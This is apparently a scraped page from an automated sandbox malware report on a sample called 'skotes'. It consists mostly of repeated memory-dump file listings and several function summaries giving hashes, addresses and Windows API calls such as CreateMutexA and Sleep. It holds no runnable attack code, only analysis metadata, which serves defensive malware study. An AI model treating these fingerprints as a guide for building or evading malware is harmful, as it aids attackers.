Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nd
API String ID: 2531987475-1435531252
Opcode ID: 045512e47aed0486b5ff17935974fb93e621c36ddc2a869d28316c848431a662
Instruction ID: 947e763b85675f89c56fe931a97ba085bf6c844f319175dfc59308f663b5f26a
Opcode Fuzzy Hash: 045512e47aed0486b5ff17935974fb93e621c36ddc2a869d28316c848431a662
Instruction Fuzzy Hash: 6B414DB1904204AFDB24EFB5DC419AFBBFAEF89700B14492DF856E7611E730A940DB61

Function 00619BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00619BA8
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 803b07d4e5284e191b1e3cabdf886241850417843a769e7dafd41622fd342c8f
Instruction ID: dcf1e436183c21edcea75fc76ce938831d8309d1e3d665a051bce3fa08f931f6
Opcode Fuzzy Hash: 803b07d4e5284e191b1e3cabdf886241850417843a769e7dafd41622fd342c8f
Instruction Fuzzy Hash: FE312A31A152048BEB08DBBCEC997EDB773DB81314F288658E064973D6C7759AC08761

Function 00619CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00619CDD
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 50dfb0dbd777189ac10550221172af91f41535bbb882a4c2dbee7fc52ce1bf35
Instruction ID: 3149ba1102051e2e88be12b6ca191bda4f610f54f5fa12c294b58cee44792317
Opcode Fuzzy Hash: 50dfb0dbd777189ac10550221172af91f41535bbb882a4c2dbee7fc52ce1bf35
Instruction Fuzzy Hash: AA312671A142448BEB08DBB8EC897EDB773DF86310F288658E064AB3D5C7359AC08761

Function 00619F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00619F47
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: c9a30fd2f5802af1fdac59e912bd7ad3bfecb88eaae08c49cbf01899e66c3fe4
Instruction ID: cfdb343cb2628da45c435fd64c6349ad8eb9a399ec1212c2437c06dc4cbac8bc
Opcode Fuzzy Hash: c9a30fd2f5802af1fdac59e912bd7ad3bfecb88eaae08c49cbf01899e66c3fe4
Instruction Fuzzy Hash: F0314A31A111049FEB08DBB8DC887ECB763EB85314F288659E064EB3D5D73599C18762

Function 0061A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A07C
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2g
API String ID: 396266464-2857566196
Opcode ID: 7bcdf8dce7e3e60861a3f45f061182961d17fb465d275bb23d148538aa8d7187
Instruction ID: 21c28341fcc80dd2824ea0c76f18fb2eb87a5d648fd983e528e9aa13cbd7ba02
Opcode Fuzzy Hash: 7bcdf8dce7e3e60861a3f45f061182961d17fb465d275bb23d148538aa8d7187
Instruction Fuzzy Hash: 27314A31B111049BEB08DBB8DD89BEDB773DF85314F288658E068973D5C73699C08756

Function 0061A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0061A1B1
Sleep.KERNEL32(00000064,?), ref: 0061A963
CreateMutexA.KERNEL32(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
